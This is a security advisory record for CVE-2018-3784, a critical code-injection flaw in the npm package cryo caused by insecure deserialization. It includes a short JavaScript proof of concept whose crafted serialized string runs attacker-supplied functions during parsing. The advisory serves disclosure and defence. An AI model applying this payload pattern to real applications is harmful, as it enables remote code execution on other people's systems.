GHSA-38f5-ghc2-fcmv

Source

https://github.com/advisories/GHSA-38f5-ghc2-fcmv

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/08/GHSA-38f5-ghc2-fcmv/GHSA-38f5-ghc2-fcmv.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-38f5-ghc2-fcmv

Aliases

CVE-2018-3784

Published

2018-08-21T17:02:43Z

Modified

2023-11-08T04:00:20.055238Z

Severity

9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator

Summary

Code Injection in cryo

Details

All versions of cryo are vulnerable to code injection due to an Insecure implementation of deserialization.

Proof of concept

var Cryo = require('cryo');
var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var hydrated = Cryo.parse(frozen);
console.log(hydrated);

Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

Database specific

{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T20:54:31Z",
    "severity": "CRITICAL"
}

References

Affected packages

npm / cryo

Package

Name: cryo; View open source insights on deps.dev
Purl: pkg:npm/cryo

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Last affected

0.0.6

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/08/GHSA-38f5-ghc2-fcmv/GHSA-38f5-ghc2-fcmv.json"